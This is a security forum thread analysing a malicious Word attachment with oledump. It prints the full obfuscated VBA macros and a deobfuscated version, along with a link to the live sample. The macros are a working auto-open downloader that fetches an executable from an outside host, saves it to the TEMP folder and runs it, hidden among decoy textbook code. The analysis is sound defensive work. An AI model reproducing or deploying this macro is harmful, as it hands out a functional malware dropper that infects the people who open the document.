Macro attached to a mail malware analysis

L

LabZero

Thread author
Hello everyone :)

A few days ago I received a mail from a legitimate address to an online store that appeared completely clean until FSecure has scanned and deleted attachment (. DOC)


Code:
101153.doc: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: 1, Template: Normal, Last Saved By: 1, Revision Number: 3, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Jun 15 09:59:00 2015, Last Saved Time/Date: Mon Jun 15 10:32:00 2015, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Security: 0


See the file type I immediately thought it might contain an .exe dropped or malicious macros, so I used oledump to analyze the different areas of the file.


Code:
 1:       113 '\x01CompObj'
  2:      4096 '\x05DocumentSummaryInformation'
  3:      4096 '\x05SummaryInformation'
  4:      4420 '1Table'
  5:       513 'Macros/PROJECT'
  6:       113 'Macros/PROJECTwm'
  7: M    4238 'Macros/VBA/Module1'
  8: M   10364 'Macros/VBA/Module3'
  9: M    6459 'Macros/VBA/Module5'
10: M    1391 'Macros/VBA/ThisDocument'
11:      4889 'Macros/VBA/_VBA_PROJECT'
12:       619 'Macros/VBA/dir'
13:      4142 'WordDocument'


As you can see oledump shows us that in blocks 7, 8, 9 and 10 there are macro, then our second scenario begins to take shape. By extracting these macros we get the following code.


Code:
Attribute VB_Name = "Module1"

Dim currCell As String  ' The module-level variable for Listing 7.4

' Listing 7.1. Toggles the active window's gridlines on and off.
'
Sub ToggleGridlines()

    With ActiveWindow
       ù.DisplayGridLines = Not à.DisplayGridLines
    End With

End Sub

' Listing 7.2. A procedure that tests the Evaluate function.
'
Sub EvaluateTest()
    Dim columnLetter As String
    Dim rowNumber As String
    Dim cellAddress As String
    '
    ' Activate the "Test Data" worksheet
    '
    y.Worksheets("Test Data").Activate
    '
    ' Get the value in cell A1
    '
    columnLetter = è.[A1].Value
    '
    ' Get the value in cell B1
    '
    rowNumber = è.[B1].Value
    '
    ' Concatenate the two values and then display the message
    '
    cellAddress = columnLetter & rowNumber
    MsgBox "The value in cell " & cellAddress & " is " & w.Evaluate(cellAddress)
End Sub


Public Function E1hULdfCYKq40(M72YMyUcUWEAf As String)
Set Z0EcDOINA = fAQaVGJfCYUL("S" & "h" & Chr(101) & Chr(108) & Chr(108) & "." & "A" & "p" & Chr(112) & Chr(108) & "i" & Chr(99) & Chr(97) & Chr(116) & Chr(105) & "o" & "n")
Z0EcDOINA.Open (AHmYANL3)
End Function
Public Function fAQaVGJfCYUL(U9ZWOpJrq As String)
Set fAQaVGJfCYUL = CreateObject(U9ZWOpJrq)
End Function
Function CalcNetMargin(fixedCosts)

    Dim totalSales
    Dim totalExpenses

    With ï.Worksheets("2000 Budget")
        totalSales = ï.Application.Sum(.Range("Sales"))
        totalExpenses = ï.Application.Sum(.Range("Expenses"))
    End With

    If totalSales <> 0 Then
        CalcNetMargin = (totalSales - totalExpenses - fixedCosts) / totalSales
    End If
    '
    ' Recalculate whenever the sheet recalculates
    '
    â.Application.Volatile
End Function

Attribute VB_Name = "Module3"

' Listing 6.1. A procedure that toggles the display of
' nonprinting characters on and off.
'
Sub ToggleNonprinting()

    With ActiveWindow.View
        .ShowAll = Not .ShowAll
    End With

End Sub


' Listing 6.3. A procedure that moves the Word window
' into the top left corner of the screen.
'
Sub TopLeftCorner()
    With Application
        If .WindowState <> wdWindowStateMaximize _
            And .WindowState <> wdWindowStateMinimize _
            Then .Move 0, 0
    End With
End Sub

' Listing 6.4. Procedures that create and open
' a workspace of files.
'
' CreateWorkspace()
' Saves the path and filename data of all the
' open files to the Windows Registry. Before
' running this procedure, make sure only the
' files you want in the workspace are open.
'
Sub CreateWorkspace()
    Dim total As Integer
    Dim doc As Document
    Dim i As Integer
    '
    ' Delete the old workspace settings
    ' First, get the total number of files
    '
    total = GetSetting("Word", "Workspace", "TotalFiles", 0)
    For i = 1 To total
        '
        ' Delete each setting
        '
        DeleteSetting "Word", "Workspace", "Document" & i
    Next 'i
    '
    ' Create the new workspace
    '
    i = 0
    For Each doc In Documents
        '
        ' Make sure it's not a new, unsaved file
        '
        If doc.Path <> "" Then
            '
            ' Use i to create unique setting names
            '
            i = i + 1
            '
            ' Save the FullName (path and filename) to the Registry
            '
            SaveSetting "Word", "Workspace", "Document" & i, doc.FullName
        End If
    Next 'doc
    '
    ' Save tht total number of files
    '
    SaveSetting "Word", "Workspace", "TotalFiles", i
End Sub
Sub knGjLBTgmGgBh()

Set DhAXmemS278B6 = fAQaVGJfCYUL(Chr(77) & "i" & Chr(99) & Chr(114) & "o" & Chr(115) & Chr(111) & Chr(102) & "t" & Chr(46) & Chr(88) & "M" & "L" & "H" & Chr(84) & Chr(84) & Chr(80))

CallByName DhAXmemS278B6, "O" & Chr(112) & Chr(101) & Chr(110), VbMethod, Chr(71) & Chr(69) & Chr(84), _
Chr(104) & Chr(116) & Chr(116) & "p" & Chr(58) & Chr(47) & Chr(47) & Chr(119) & Chr(119) & Chr(119) & Chr(46) & Chr(102) & "r" & "e" & Chr(101) & Chr(119) & Chr(101) & Chr(98) & Chr(115) & Chr(116) & Chr(117) & Chr(102) & Chr(102) & Chr(46) & Chr(98) & Chr(101) & Chr(47) & "3" & Chr(52) & Chr(47) & Chr(52) & "4" & Chr(46) & "e" & Chr(120) & Chr(101) _
, False


Set VZGc6njbPx6 = fAQaVGJfCYUL("W" & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108))

Set gsHD7abC5N3 = CallByName(VZGc6njbPx6, "E" & Chr(110) & Chr(118) & "i" & Chr(114) & Chr(111) & Chr(110) & "m" & Chr(101) & Chr(110) & Chr(116), VbGet, "P" & Chr(114) & Chr(111) & Chr(99) & Chr(101) & Chr(115) & "s")

I2fThDFfJ2x = gsHD7abC5N3("T" & Chr(69) & Chr(77) & Chr(80))

AHmYANL3 = I2fThDFfJ2x & Chr(92) & "g" & Chr(105) & Chr(110) & Chr(107) & Chr(97) & Chr(110) & Chr(56) & Chr(54) & Chr(46) & Chr(101) & Chr(120) & Chr(101)
Dim L3eSO44R() As Byte

CallByName DhAXmemS278B6, "S" & "e" & Chr(110) & Chr(100), VbMethod
L3eSO44R = CallByName(DhAXmemS278B6, "r" & Chr(101) & Chr(115) & Chr(112) & Chr(111) & Chr(110) & "s" & "e" & Chr(66) & "o" & "d" & Chr(121), VbGet)
aJbV7hKTsFzE L3eSO44R, AHmYANL3
On Error GoTo GbzD0F5w
    a = 84 / 0
  On Error GoTo 0

YmVz6Pw29BQ:
  Exit Sub
GbzD0F5w:
  E1hULdfCYKq40 ("qXSh3tUIo")
Resume YmVz6Pw29BQ
End Sub
Public Function aJbV7hKTsFzE(bB2ojLbgVtJ As Variant, sliQYqZdLGCmtq As String)
Dim BkUobg5a: Set BkUobg5a = fAQaVGJfCYUL(Chr(65) & "d" & Chr(111) & "d" & "b" & Chr(46) & Chr(83) & Chr(116) & "r" & Chr(101) & "a" & Chr(109))

With BkUobg5a
   .Type = 1
    .Open
    .write bB2ojLbgVtJ
    .savetofile sliQYqZdLGCmtq, 2
End With
End Function




'
' OpenWorkspace()
' Accesses the Registry's workspace settings
' and then opens each workspace file.
'
Sub OpenWorkspace()
    Dim total As Integer
    Dim i As Integer
    Dim filePath As String
    Dim doc As Document
    Dim fileAlreadyOpen As Boolean
    '
    ' Get the total number of files
    '
    total = GetSetting("Word", "Workspace", "TotalFiles", 0)
    For i = 1 To total
        '
        ' Get the path and filename
        '
        filePath = GetSetting("Word", "Workspace", "Document" & i)
        '
        ' Make sure the file isn't already open
        '
        fileAlreadyOpen = False
        For Each doc In Documents
            If filePath = doc.FullName Then
                fileAlreadyOpen = True
                Exit For
            End If
        Next 'doc
        '
        ' Open it
        '
        If Not fileAlreadyOpen Then
            Documents.Open filePath
        End If
    Next 'i
End Sub

Sub TestStylesAddMethod()
Set newStyle = ActiveDocument.Styles.Add("PageTitle", wdStyleTypeParagraph)
With newStyle
    .Font.Bold = True
    .Font.Underline = True
    .Font.Size = 24
    .Font.Name = "Arial"
    .ParagraphFormat.Alignment = wdAlignParagraphCenter
    .ParagraphFormat.SpaceAfter = 12
    .NextParagraphStyle = wdStyleNormal
End With
End Sub

Attribute VB_Name = "Module5"

Public AHmYANL3 As String
' Global variable

' Listing 8.1. This procedure ties everything together by
' calling each of the code listings individually.
'
Sub Main()
    '
    ' Create the presentation file
    '
    CreateJugglingPresentation
    '
    ' Add the slides
    '
    AddJugglingSlides
    '
    ' Set up the title page
    '
    SetUpStartPage
    '
    ' Set up the Juggling pages
    '
    '
    ' Save it and then run it
    '
    pres.Save

End Sub

' Listing 8.2. This procedure creates a new presentation
' and then saves it.
'
Sub CreateJugglingPresentation()
   '
    ' If the old one is still open, close it without saving
    '
    For Each p In Presentations
        If p.Name = "Juggling" Then
            p.Saved = True
            p.Close
        End If
    Next p
    '
    ' Create a new Presentation object and store it in pres
    '
    Set pres = Presentations.Add
    pres.SaveAs FileName:="Juggling.ppt"
End Sub

' Listing 8.3. A procedure that adds the slides to the
' Juggling presentation and formats them.
'
Sub AddJugglingSlides()
    Dim i As Integer

    With pres
        With .Slides
         '
         ' Add the opening slide
         '
         .Add(Index:=1, Layout:=ppLayoutTitle).Name = "Opener"
         '
         ' Now add the slides for each step
         '
         For i = 1 To 4
             .Add(Index:=i + 1, Layout:=ppLayoutTitle).Name = "Juggling" & i
         Next i
    End With
    '
    ' Set the background for all the slides
    '
    .SlideMaster.Background.Fill.PresetGradient _
        Style:=msoGradientHorizontal, _
        Variant:=1, _
        PresetGradientType:=msoGradientNightfall
    End With
End Sub

' Listing 8.4. A procedure that sets up the text and animation
' settings for the first page of the Juggling presentation.
'
Sub SetUpStartPage()
    Dim shapeTitle As Shape
    Dim shapeSubTitle As Shape

    With pres.Slides("Opener")
        Set shapeTitle = .Shapes(1)     ' The title
        Set shapeSubTitle = .Shapes(2)  ' The subtitle
        '
        ' Add the title text
        '
        With shapeTitle.TextFrame.TextRange
            .Text = "Juggling"
            With .Font
                .Name = "Arial"
                .Size = 44
                .Bold = True
                w.Color.RGB = RGB(255, 255, 255)
            End With
        End With
        '
        ' Set the title animation
        '
        With w.shapeTitle.AnimationSettings
            .Animate = True
            .AdvanceMode = ppAdvanceOnTime
            .AdvanceTime = 0
            .TextUnitEffect = ppAnimateByCharacter
            .EntryEffect = ppEffectFlyFromLeft
        End With
        '
        ' Add the subtitle text
        '
        With shapeSubTitle.TextFrame.TextRange
            .Text = "A Step-By-Step Course"
            With .Font
                .Name = "Arial"
                .Size = 36
                .Bold = True
                w.Color.RGB = RGB(255, 255, 255)
            End With
        End With
        '
        ' Set the subtitle animation
        '
        With w.shapeSubTitle.AnimationSettings
            .Animate = True
            .AdvanceMode = ppAdvanceOnTime
            .AdvanceTime = 0
            .TextUnitEffect = ppAnimateByWord
            .EntryEffect = ppEffectFlyFromBottom
        End With
    End With
End Sub

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub A121212121212(FFFFF As Long)

knGjLBTgmGgBh

End Sub

Sub autoopen()

A121212121212 (3)

End Sub


As you can see in each macro has a blurred part with either CHR (number_char_ascii), both with non-sense names for variables and functions. I then tried these sections of the macro with the objective of being able to identify (still potential) malicious actions, obtaining the following result.


Code:
Sub chiamata_start(FFFFF As Long)

prima_funzione

End Sub

Sub autoopen()

chiamata_start (3)

End Sub


Public Function avvia_malware(M72YMyUcUWEAf As String)
Set shell_malware = nuovo_oggetto("Shell.Application")
shell_malware.Open (file_malware)
End Function
Public Function nuovo_oggetto(nome_oggetto As String)
Set nuovo_oggetto = CreateObject(nome_oggetto)
End Function


Sub prima_funzione()

Set oggetto_xmlhttp = nuovo_oggetto("Microsoft.XMLHTTP")

CallByName oggetto_xmlhttp, OpenVbMethod, GET, _
"http://www.freewebstuff.be/34/44.exe" _
, False


Set shell = nuovo_oggetto("WScript.Shell")

Set oggetto_trova_path = CallByName(shell, "Environment", VbGet, "Process")

path_malware = oggetto_trova_path("TEMP")

file_malware = path_malware \ "ginkan86.exe"
Dim L3eSO44R() As Byte

CallByName oggetto_xmlhttp , "Send", VbMethod
L3eSO44R = CallByName(oggetto_xmlhttp, "responseBody"), VbGet)
aJbV7hKTsFzE L3eSO44R, file_malware
On Error GoTo GbzD0F5w
    a = 84 / 0
  On Error GoTo 0

YmVz6Pw29BQ:
  Exit Sub
GbzD0F5w:
  avvia_malware ("qXSh3tUIo")
Resume YmVz6Pw29BQ
End Sub
Public Function aJbV7hKTsFzE(bB2ojLbgVtJ As Variant, sliQYqZdLGCmtq As String)
Dim BkUobg5a: Set BkUobg5a = nuovo_oggetto("Adodb.Stream")

With BkUobg5a
   .Type = 1
    .Open
    .write bB2ojLbgVtJ
    .savetofile sliQYqZdLGCmtq, 2
End With
End Function


At this point it is extremely simple to observe the behavior of the Trojan:


Download an executable from hxxp://freewebstuff.be/34/44.exe
Puts it in the Temp folder of the current user
Rename it in ginkan86.exe
Executes



So that the macros in the document are performed that feature is active, while in Libreoffice for example is disabled by default.

Well, I conclude this thread and I hope the information you find here will contribute to the safety of all users.;)


oledump.py (python) is a program to analyze OLE files (Compound File Binary Format). These files contain streams of data. oledump allows you to analyze these streams.

Many applications use this file format, the best known is MS Office. .doc, .xls, .ppt, … are OLE files (docx, xlsx, … is the new file format: XML inside ZIP).

You can download oledump here : http://blog.didierstevens.com/programs/oledump-py/

If you are interested here the malware (pass:infected): hxxp://www35.zippyshare.com/v/fbMZifZF/file.html
 
Last edited by a moderator:

Atlas147

Level 30
Verified
Honorary Member
Top Poster
Content Creator
Well-known
Jul 28, 2014
1,990
Thanks for the analysis! Very clear and informative, will try to do so with future malware I run into!
 
  • Like
Reactions: LabZero

About us

  • MalwareTips is a community-driven platform providing the latest information and resources on malware and cyber threats. Our team of experienced professionals and passionate volunteers work to keep the internet safe and secure. We provide accurate, up-to-date information and strive to build a strong and supportive community dedicated to cybersecurity.

User Menu

Follow us

Follow us on Facebook or Twitter to know first about the latest cybersecurity incidents and malware threats.

Top